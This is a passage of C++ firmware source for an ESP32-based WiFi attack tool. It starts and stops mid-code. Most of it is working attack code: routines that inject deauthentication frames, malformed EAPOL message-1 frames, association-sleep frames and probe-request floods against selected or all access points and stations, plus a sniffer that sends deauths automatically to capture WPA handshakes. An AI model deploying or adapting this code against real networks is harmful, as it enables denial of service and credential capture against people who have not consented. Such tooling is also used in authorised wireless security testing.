0; i < ssidLen; i++) prob_req_packet[26 + i] = buf[i]; uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; uint8_t good_probe_req_packet[26 + fullLen + 40] = {}; for (int i = 0; i < 26 + fullLen; i++) good_probe_req_packet[i] = prob_req_packet[i]; for(int i = 0; i < 40; i++) good_probe_req_packet[26 + fullLen + i] = postSSID[i]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); packets_sent = packets_sent + 3; } } } void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]) { WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); // Build AP source packet deauth_frame_default[4] = mac[0]; deauth_frame_default[5] = mac[1]; deauth_frame_default[6] = mac[2]; deauth_frame_default[7] = mac[3]; deauth_frame_default[8] = mac[4]; deauth_frame_default[9] = mac[5]; deauth_frame_default[10] = bssid[0]; deauth_frame_default[11] = bssid[1]; deauth_frame_default[12] = bssid[2]; deauth_frame_default[13] = bssid[3]; deauth_frame_default[14] = bssid[4]; deauth_frame_default[15] = bssid[5]; deauth_frame_default[16] = bssid[0]; deauth_frame_default[17] = bssid[1]; deauth_frame_default[18] = bssid[2]; deauth_frame_default[19] = bssid[3]; deauth_frame_default[20] = bssid[4]; deauth_frame_default[21] = bssid[5]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); packets_sent = packets_sent + 3; // Build AP dest packet deauth_frame_default[4] = bssid[0]; deauth_frame_default[5] = bssid[1]; deauth_frame_default[6] = bssid[2]; deauth_frame_default[7] = bssid[3]; deauth_frame_default[8] = bssid[4]; deauth_frame_default[9] = bssid[5]; deauth_frame_default[10] = mac[0]; deauth_frame_default[11] = mac[1]; deauth_frame_default[12] = mac[2]; deauth_frame_default[13] = mac[3]; deauth_frame_default[14] = mac[4]; deauth_frame_default[15] = mac[5]; deauth_frame_default[16] = mac[0]; deauth_frame_default[17] = mac[1]; deauth_frame_default[18] = mac[2]; deauth_frame_default[19] = mac[3]; deauth_frame_default[20] = mac[4]; deauth_frame_default[21] = mac[5]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); packets_sent = packets_sent + 3; } void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) { // Itterate through all access points in list // Check if active WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); // Build packet sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]); deauth_frame_default[10] = bssid[0]; deauth_frame_default[11] = bssid[1]; deauth_frame_default[12] = bssid[2]; deauth_frame_default[13] = bssid[3]; deauth_frame_default[14] = bssid[4]; deauth_frame_default[15] = bssid[5]; deauth_frame_default[16] = bssid[0]; deauth_frame_default[17] = bssid[1]; deauth_frame_default[18] = bssid[2]; deauth_frame_default[19] = bssid[3]; deauth_frame_default[20] = bssid[4]; deauth_frame_default[21] = bssid[5]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); packets_sent = packets_sent + 3; } void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, uint8_t mac[6], uint8_t sec) { WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); uint8_t frame_size = 153; // Build packet eapol_packet_bad_msg1[4] = mac[0]; eapol_packet_bad_msg1[5] = mac[1]; eapol_packet_bad_msg1[6] = mac[2]; eapol_packet_bad_msg1[7] = mac[3]; eapol_packet_bad_msg1[8] = mac[4]; eapol_packet_bad_msg1[9] = mac[5]; eapol_packet_bad_msg1[10] = bssid[0]; eapol_packet_bad_msg1[11] = bssid[1]; eapol_packet_bad_msg1[12] = bssid[2]; eapol_packet_bad_msg1[13] = bssid[3]; eapol_packet_bad_msg1[14] = bssid[4]; eapol_packet_bad_msg1[15] = bssid[5]; eapol_packet_bad_msg1[16] = bssid[0]; eapol_packet_bad_msg1[17] = bssid[1]; eapol_packet_bad_msg1[18] = bssid[2]; eapol_packet_bad_msg1[19] = bssid[3]; eapol_packet_bad_msg1[20] = bssid[4]; eapol_packet_bad_msg1[21] = bssid[5]; /* Generate random Nonce */ for (uint8_t i = 0; i < 32; i++) { eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF; } /* Update replay counter */ for (uint8_t i = 0; i < 8; i++) { eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF; } if(sec == WIFI_SECURITY_WPA3 || sec == WIFI_SECURITY_WPA3_ENTERPRISE || sec == WIFI_SECURITY_WAPI) { eapol_packet_bad_msg1[35] = 0x5f; // Length 95 Bytes eapol_packet_bad_msg1[38] = 0xCB; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3 eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB eapol_packet_bad_msg1[40] = 0x00; // Key Length LSB (must be 0 with GCMP) frame_size = frame_size - 22; // Adjust frame size for WPA3 } // Send packet esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, frame_size, false); packets_sent = packets_sent + 1; } void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, String dst_mac_str, uint8_t sec) { WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); uint8_t frame_size = 153; // Build packet sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &eapol_packet_bad_msg1[4], &eapol_packet_bad_msg1[5], &eapol_packet_bad_msg1[6], &eapol_packet_bad_msg1[7], &eapol_packet_bad_msg1[8], &eapol_packet_bad_msg1[9]); eapol_packet_bad_msg1[10] = bssid[0]; eapol_packet_bad_msg1[11] = bssid[1]; eapol_packet_bad_msg1[12] = bssid[2]; eapol_packet_bad_msg1[13] = bssid[3]; eapol_packet_bad_msg1[14] = bssid[4]; eapol_packet_bad_msg1[15] = bssid[5]; eapol_packet_bad_msg1[16] = bssid[0]; eapol_packet_bad_msg1[17] = bssid[1]; eapol_packet_bad_msg1[18] = bssid[2]; eapol_packet_bad_msg1[19] = bssid[3]; eapol_packet_bad_msg1[20] = bssid[4]; eapol_packet_bad_msg1[21] = bssid[5]; /* Generate random Nonce */ for (uint8_t i = 0; i < 32; i++) { eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF; } /* Update replay counter */ for (uint8_t i = 0; i < 8; i++) { eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF; } if(sec == WIFI_SECURITY_WPA3 || sec == WIFI_SECURITY_WPA3_ENTERPRISE || sec == WIFI_SECURITY_WAPI) { eapol_packet_bad_msg1[35] = 0x5f; // Length 95 Bytes eapol_packet_bad_msg1[38] = 0xCB; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3 eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB eapol_packet_bad_msg1[40] = 0x00; // Key Length LSB (must be 0 with GCMP) frame_size = frame_size - 22; // Adjust frame size for WPA3 } // Send packet esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, frame_size, false); packets_sent = packets_sent + 1; } void WiFiScan::sendAssociationSleep(const char* ESSID, uint8_t bssid[6], int channel, uint8_t mac[6]) { WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); static uint16_t sequence_number = 0; // Build packet association_packet[10] = mac[0]; association_packet[11] = mac[1]; association_packet[12] = mac[2]; association_packet[13] = mac[3]; association_packet[14] = mac[4]; association_packet[15] = mac[5]; association_packet[4] = bssid[0]; association_packet[5] = bssid[1]; association_packet[6] = bssid[2]; association_packet[7] = bssid[3]; association_packet[8] = bssid[4]; association_packet[9] = bssid[5]; association_packet[16] = bssid[0]; association_packet[17] = bssid[1]; association_packet[18] = bssid[2]; association_packet[19] = bssid[3]; association_packet[20] = bssid[4]; association_packet[21] = bssid[5]; /* Set Sequence Control */ association_packet[23] = (sequence_number >> 8) & 0xFF; // Sequence Number MSB association_packet[22] = sequence_number & 0xFF; // Sequence Number LSB /* SSID tag */ association_packet[29] = (uint8_t)strlen((char *)ESSID); // SSID Length memcpy(&association_packet[30], ESSID, strlen((char *)ESSID)); // SSID /* Supported Rates tag */ uint16_t offset = 30 + strlen((char *)ESSID); // Offset after SSID); association_packet[offset++] = 0x01; // Supported Rates tag association_packet[offset++] = 0x04; // Length association_packet[offset++] = 0x82; // 1 Mbps association_packet[offset++] = 0x04; // 2 Mbps association_packet[offset++] = 0x0b; // 5.5 Mbps association_packet[offset++] = 0x16; // 11 Mbps /* Power Capability tag */ association_packet[offset++] = 0x21; // Power Capability tag association_packet[offset++] = 0x02; // Length association_packet[offset++] = 0x01; // Min Tx Power association_packet[offset++] = 0x15; // Max Tx Power /* Supported Channels tag */ association_packet[offset++] = 0x24; // Supported Channels tag association_packet[offset++] = 0x02; // Length association_packet[offset++] = 0x01; // First Channel association_packet[offset++] = 0x0d; // Last Channel /* RSN tag */ association_packet[offset++] = 0x30; // RSN tag association_packet[offset++] = 0x14; // Length association_packet[offset++] = 0x01; // Version MSB association_packet[offset++] = 0x00; // Version LSB association_packet[offset++] = 0x00; // Group Cipher Suite OUI MSB association_packet[offset++] = 0x0F; // Group Cipher Suite OUI LSB association_packet[offset++] = 0xAC; // Group Cipher Suite OUI LSB association_packet[offset++] = 0x04; // Group Cipher Suite Type (AES-CCMP) association_packet[offset++] = 0x01; // Pairwise Cipher Suite Count association_packet[offset++] = 0x00; // Pairwise Cipher Suite Count MSB association_packet[offset++] = 0x00; // Pairwise Cipher Suite OUI MSB association_packet[offset++] = 0x0F; // Pairwise Cipher Suite OUI LSB association_packet[offset++] = 0xAC; // Pairwise Cipher Suite OUI LSB association_packet[offset++] = 0x04; // Pairwise Cipher Suite Type (AES-CCMP) association_packet[offset++] = 0x01; // AKM Suite Count association_packet[offset++] = 0x00; // AKM Suite Count MSB association_packet[offset++] = 0x00; // AKM Suite OUI MSB association_packet[offset++] = 0x0f; // AKM Suite OUI MSB association_packet[offset++] = 0xAC; // AKM Suite OUI LSB association_packet[offset++] = 0x02; // AKM Suite OUI LSB (WPA2-PSK) association_packet[offset++] = 0x0c; // RSN Capabilities MSB association_packet[offset++] = 0x00; // RSN Capabilities LSB /* Supported Operating Classes tag */ association_packet[offset++] = 0x3b; // Supported Operating Classes tag association_packet[offset++] = 0x14; // Length association_packet[offset++] = 0x51; // Current Operating Class 1 (2.4 GHz) /* alternate Operating Class */ association_packet[offset++] = 0x86; // Operating Class 2 (5 GHz) association_packet[offset++] = 0x85; // Operating Class 3 (6 GHz) association_packet[offset++] = 0x84; // Operating Class 4 (60 GHz) association_packet[offset++] = 0x83; // Operating Class 5 (60 GHz) association_packet[offset++] = 0x81; // Operating Class 6 (60 GHz) association_packet[offset++] = 0x7f; // Operating Class 7 (60 GHz) association_packet[offset++] = 0x7e; // Operating Class 8 (60 GHz) association_packet[offset++] = 0x7d; // Operating Class 9 (60 GHz) association_packet[offset++] = 0x7c; // Operating Class 10 (60 GHz) association_packet[offset++] = 0x7b; // Operating Class 11 (60 GHz) association_packet[offset++] = 0x7a; // Operating Class 12 (60 GHz) association_packet[offset++] = 0x79; // Operating Class 13 (60 GHz) association_packet[offset++] = 0x78; // Operating Class 14 (60 GHz) association_packet[offset++] = 0x77; // Operating Class 15 (60 GHz) association_packet[offset++] = 0x76; // Operating Class 16 (60 GHz) association_packet[offset++] = 0x75; // Operating Class 17 (60 GHz) association_packet[offset++] = 0x74; // Operating Class 18 (60 GHz) association_packet[offset++] = 0x73; // Operating Class 19 (60 GHz) association_packet[offset++] = 0x51; // Operating Class 20 (2.4 GHz) /* Vendor Specific tag */ association_packet[offset++] = 0xdd; // Vendor Specific tag association_packet[offset++] = 0x0a; // Length association_packet[offset++] = 0x00; association_packet[offset++] = 0x10; association_packet[offset++] = 0x18; association_packet[offset++] = 0x02; association_packet[offset++] = 0x00; association_packet[offset++] = 0x00; association_packet[offset++] = 0x10; association_packet[offset++] = 0x00; association_packet[offset++] = 0x00; association_packet[offset++] = 0x02; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, association_packet, offset, false); packets_sent = packets_sent + 1; } void WiFiScan::sendAssociationSleep(const char* ESSID, uint8_t bssid[6], int channel, String dst_mac_str) { WiFiScan::set_channel = channel; esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); delay(1); static uint16_t sequence_number = 0; // Build packet sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &eapol_packet_bad_msg1[10], &eapol_packet_bad_msg1[11], &eapol_packet_bad_msg1[12], &eapol_packet_bad_msg1[13], &eapol_packet_bad_msg1[14], &eapol_packet_bad_msg1[15]); association_packet[4] = bssid[0]; association_packet[5] = bssid[1]; association_packet[6] = bssid[2]; association_packet[7] = bssid[3]; association_packet[8] = bssid[4]; association_packet[9] = bssid[5]; association_packet[16] = bssid[0]; association_packet[17] = bssid[1]; association_packet[18] = bssid[2]; association_packet[19] = bssid[3]; association_packet[20] = bssid[4]; association_packet[21] = bssid[5]; /* Set Sequence Control */ association_packet[23] = (sequence_number >> 8) & 0xFF; // Sequence Number MSB association_packet[22] = sequence_number & 0xFF; // Sequence Number LSB /* SSID tag */ association_packet[29] = (uint8_t)strlen((char *)ESSID); // SSID Length memcpy(&association_packet[30], ESSID, strlen((char *)ESSID)); // SSID /* Supported Rates tag */ uint16_t offset = 30 + strlen((char *)ESSID); // Offset after SSID); association_packet[offset++] = 0x01; // Supported Rates tag association_packet[offset++] = 0x04; // Length association_packet[offset++] = 0x82; // 1 Mbps association_packet[offset++] = 0x04; // 2 Mbps association_packet[offset++] = 0x0b; // 5.5 Mbps association_packet[offset++] = 0x16; // 11 Mbps /* Power Capability tag */ association_packet[offset++] = 0x21; // Power Capability tag association_packet[offset++] = 0x02; // Length association_packet[offset++] = 0x01; // Min Tx Power association_packet[offset++] = 0x15; // Max Tx Power /* Supported Channels tag */ association_packet[offset++] = 0x24; // Supported Channels tag association_packet[offset++] = 0x02; // Length association_packet[offset++] = 0x01; // First Channel association_packet[offset++] = 0x0d; // Last Channel /* RSN tag */ association_packet[offset++] = 0x30; // RSN tag association_packet[offset++] = 0x14; // Length association_packet[offset++] = 0x01; // Version MSB association_packet[offset++] = 0x00; // Version LSB association_packet[offset++] = 0x00; // Group Cipher Suite OUI MSB association_packet[offset++] = 0x0F; // Group Cipher Suite OUI LSB association_packet[offset++] = 0xAC; // Group Cipher Suite OUI LSB association_packet[offset++] = 0x04; // Group Cipher Suite Type (AES-CCMP) association_packet[offset++] = 0x01; // Pairwise Cipher Suite Count association_packet[offset++] = 0x00; // Pairwise Cipher Suite Count MSB association_packet[offset++] = 0x00; // Pairwise Cipher Suite OUI MSB association_packet[offset++] = 0x0F; // Pairwise Cipher Suite OUI LSB association_packet[offset++] = 0xAC; // Pairwise Cipher Suite OUI LSB association_packet[offset++] = 0x04; // Pairwise Cipher Suite Type (AES-CCMP) association_packet[offset++] = 0x01; // AKM Suite Count association_packet[offset++] = 0x00; // AKM Suite Count MSB association_packet[offset++] = 0x00; // AKM Suite OUI MSB association_packet[offset++] = 0x0f; // AKM Suite OUI MSB association_packet[offset++] = 0xAC; // AKM Suite OUI LSB association_packet[offset++] = 0x02; // AKM Suite OUI LSB (WPA2-PSK) association_packet[offset++] = 0x0c; // RSN Capabilities MSB association_packet[offset++] = 0x00; // RSN Capabilities LSB /* Supported Operating Classes tag */ association_packet[offset++] = 0x3b; // Supported Operating Classes tag association_packet[offset++] = 0x14; // Length association_packet[offset++] = 0x51; // Current Operating Class 1 (2.4 GHz) /* alternate Operating Class */ association_packet[offset++] = 0x86; // Operating Class 2 (5 GHz) association_packet[offset++] = 0x85; // Operating Class 3 (6 GHz) association_packet[offset++] = 0x84; // Operating Class 4 (60 GHz) association_packet[offset++] = 0x83; // Operating Class 5 (60 GHz) association_packet[offset++] = 0x81; // Operating Class 6 (60 GHz) association_packet[offset++] = 0x7f; // Operating Class 7 (60 GHz) association_packet[offset++] = 0x7e; // Operating Class 8 (60 GHz) association_packet[offset++] = 0x7d; // Operating Class 9 (60 GHz) association_packet[offset++] = 0x7c; // Operating Class 10 (60 GHz) association_packet[offset++] = 0x7b; // Operating Class 11 (60 GHz) association_packet[offset++] = 0x7a; // Operating Class 12 (60 GHz) association_packet[offset++] = 0x79; // Operating Class 13 (60 GHz) association_packet[offset++] = 0x78; // Operating Class 14 (60 GHz) association_packet[offset++] = 0x77; // Operating Class 15 (60 GHz) association_packet[offset++] = 0x76; // Operating Class 16 (60 GHz) association_packet[offset++] = 0x75; // Operating Class 17 (60 GHz) association_packet[offset++] = 0x74; // Operating Class 18 (60 GHz) association_packet[offset++] = 0x73; // Operating Class 19 (60 GHz) association_packet[offset++] = 0x51; // Operating Class 20 (2.4 GHz) /* Vendor Specific tag */ association_packet[offset++] = 0xdd; // Vendor Specific tag association_packet[offset++] = 0x0a; // Length association_packet[offset++] = 0x00; association_packet[offset++] = 0x10; association_packet[offset++] = 0x18; association_packet[offset++] = 0x02; association_packet[offset++] = 0x00; association_packet[offset++] = 0x00; association_packet[offset++] = 0x10; association_packet[offset++] = 0x00; association_packet[offset++] = 0x00; association_packet[offset++] = 0x02; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, association_packet, offset, false); packets_sent = packets_sent + 1; } void WiFiScan::sendBadMsgAttack(uint32_t currentTime, bool all) { if (!all) { for (int i = 0; i < access_points->size(); i++) { for (int x = 0; x < access_points->get(i).stations->size(); x++) { if (stations->get(access_points->get(i).stations->get(x)).selected) { //for (int s = 0; s < 20; s++) { this->sendEapolBagMsg1(access_points->get(i).bssid, access_points->get(i).channel, stations->get(access_points->get(i).stations->get(x)).mac, access_points->get(i).sec); //} } } } } else { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { for (int x = 0; x < access_points->get(i).stations->size(); x++) { //for (int s = 0; s < 20; s++) { this->sendEapolBagMsg1(access_points->get(i).bssid, access_points->get(i).channel, stations->get(access_points->get(i).stations->get(x)).mac, access_points->get(i).sec); //} } } } } } void WiFiScan::sendAssocSleepAttack(uint32_t currentTime, bool all) { if (!all) { for (int i = 0; i < access_points->size(); i++) { for (int x = 0; x < access_points->get(i).stations->size(); x++) { if (stations->get(access_points->get(i).stations->get(x)).selected) { this->sendAssociationSleep(access_points->get(i).essid.c_str(), access_points->get(i).bssid, access_points->get(i).channel, stations->get(access_points->get(i).stations->get(x)).mac); } } } } else { for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { for (int x = 0; x < access_points->get(i).stations->size(); x++) { this->sendAssociationSleep(access_points->get(i).essid.c_str(), access_points->get(i).bssid, access_points->get(i).channel, stations->get(access_points->get(i).stations->get(x)).mac); } } } } } void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) { // Itterate through all access points in list for (int i = 0; i < access_points->size(); i++) { // Check if active if (access_points->get(i).selected) { this->set_channel = access_points->get(i).channel; esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); delay(1); // Build packet sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]); deauth_frame_default[10] = access_points->get(i).bssid[0]; deauth_frame_default[11] = access_points->get(i).bssid[1]; deauth_frame_default[12] = access_points->get(i).bssid[2]; deauth_frame_default[13] = access_points->get(i).bssid[3]; deauth_frame_default[14] = access_points->get(i).bssid[4]; deauth_frame_default[15] = access_points->get(i).bssid[5]; deauth_frame_default[16] = access_points->get(i).bssid[0]; deauth_frame_default[17] = access_points->get(i).bssid[1]; deauth_frame_default[18] = access_points->get(i).bssid[2]; deauth_frame_default[19] = access_points->get(i).bssid[3]; deauth_frame_default[20] = access_points->get(i).bssid[4]; deauth_frame_default[21] = access_points->get(i).bssid[5]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false); packets_sent = packets_sent + 3; } } } void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; #ifdef HAS_SCREEN int buff = display_obj.display_buffer->size(); #else int buff = 0; #endif if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_CHAN_ANALYZER) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_PACKET_RATE)) { if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN #ifdef HAS_ILI9341 if (snifferPacket->payload[0] == 0x80) { num_beacon++; } else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 )) { num_deauth++; } else if (snifferPacket->payload[0] == 0x40) { num_probe++; } #else if (snifferPacket->payload[0] == 0x80) display_string.concat(";grn;"); else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 )) display_string.concat(";red;"); else if (snifferPacket->payload[0] == 0x40) display_string.concat(";cyn;"); else display_string.concat(";mgn;"); #endif #endif } else { #ifdef HAS_SCREEN #ifndef HAS_ILI9341 display_string.concat(";wht;"); #endif #endif } char src_addr[] = "00:00:00:00:00:00"; char dst_addr[] = "00:00:00:00:00:00"; getMAC(src_addr, snifferPacket->payload, 10); getMAC(dst_addr, snifferPacket->payload, 4); display_string.concat(src_addr); display_string.concat(" -> "); display_string.concat(dst_addr); int temp_len = display_string.length(); #ifdef HAS_SCREEN // Fill blank space for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } //Serial.print(" "); #ifdef SCREEN_BUFFER #ifndef HAS_ILI9341 if (display_obj.display_buffer->size() >= 10) return; display_obj.display_buffer->add(display_string); Serial.println(display_string); #endif #endif #endif buffer_obj.append(snifferPacket, len); } else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_CHAN_ANALYZER) { wifi_scan_obj._analyzer_value++; if (wifi_scan_obj.analyzer_frames_recvd < 254) wifi_scan_obj.analyzer_frames_recvd++; if (wifi_scan_obj.analyzer_frames_recvd >= ANALYZER_NAME_REFRESH) { if (type == WIFI_PKT_MGMT) { // It's management len -= 4; //int fctl = ntohs(frameControl->fctl); //const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; //const WifiMgmtHdr *hdr = &ipkt->hdr; if ((snifferPacket->payload[0] == 0x80) && (buff == 0)) { // It's a beacon // Get source addr char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); // Show us RSSI display_string.concat(snifferPacket->rx_ctrl.rssi); display_string.concat(" "); // Get ESSID if exists else give BSSID to display string if (snifferPacket->payload[37] <= 0) // There is no ESSID. Just add BSSID display_string.concat(addr); else { // There is an ESSID. Add it for (int i = 0; i < snifferPacket->payload[37]; i++) { display_string.concat((char)snifferPacket->payload[i + 38]); } } } wifi_scan_obj.analyzer_name_string = display_string; wifi_scan_obj.analyzer_frames_recvd = 0; wifi_scan_obj.analyzer_name_update = true; } } } else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_PACKET_RATE) { bool found = false; // Get the source addr char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); uint16_t targ_index = 0; AccessPoint targ_ap; Station targ_sta; // Check list of APs for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { uint8_t addr[] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}; // Compare AP bssid to ssid of recvd packet for (int x = 0; x < 6; x++) { if (addr[x] != access_points->get(i).bssid[x]) { found = false; break; } else found = true; } if (found) { targ_ap = access_points->get(i); targ_index = i; break; } } } // Update AP if (found) { if (targ_ap.packets < 65530) { targ_ap.packets = targ_ap.packets + 1; access_points->set(targ_index, targ_ap); } //Serial.println((String)access_points->get(targ_index).essid + " Packets: " + (String)access_points->get(targ_index).packets); return; } // Check list of Stations for (int i = 0; i < stations->size(); i++) { if (stations->get(i).selected) { uint8_t addr[] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}; // Compare AP bssid to ssid of recvd packet for (int x = 0; x < 6; x++) { if (addr[x] != stations->get(i).mac[x]) { found = false; break; } else found = true; } if (found) { targ_sta = stations->get(i); targ_index = i; break; } } } // Update AP if (found) { if (targ_sta.packets < 65530) { targ_sta.packets = targ_sta.packets + 1; stations->set(targ_index, targ_sta); } //Serial.print(addr); //Serial.println(" Packets: " + (String)stations->get(targ_index).packets); return; } } } void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; bool send_deauth = settings_obj.loadSetting(text_table4[5]); wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; } #ifdef HAS_SCREEN int buff = display_obj.display_buffer->size(); #else int buff = 0; #endif // Found beacon frame. Decide whether to deauth if (send_deauth) { if (snifferPacket->payload[0] == 0x80) { // Build packet wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10]; wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11]; wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12]; wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13]; wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14]; wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15]; wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10]; wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11]; wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12]; wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13]; wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14]; wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15]; // Send packet esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false); delay(1); } } bool filter = wifi_scan_obj.filterActive(); // Check for and apply filters if (filter) { bool found = false; int ap_index = -1; char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); ap_index = wifi_scan_obj.checkMatchAP(addr); if (ap_index < 0) { char addr2[] = "00:00:00:00:00:00"; getMAC(addr2, snifferPacket->payload, 4); ap_index = wifi_scan_obj.checkMatchAP(addr2); } if ((ap_index < 0) || (!access_points->get(ap_index).selected)) return; //Serial.println("Received frame for " + access_points->get(ap_index).essid + ". Processing..."); } if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){ num_eapol++; Serial.println("Received EAPOL:"); char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 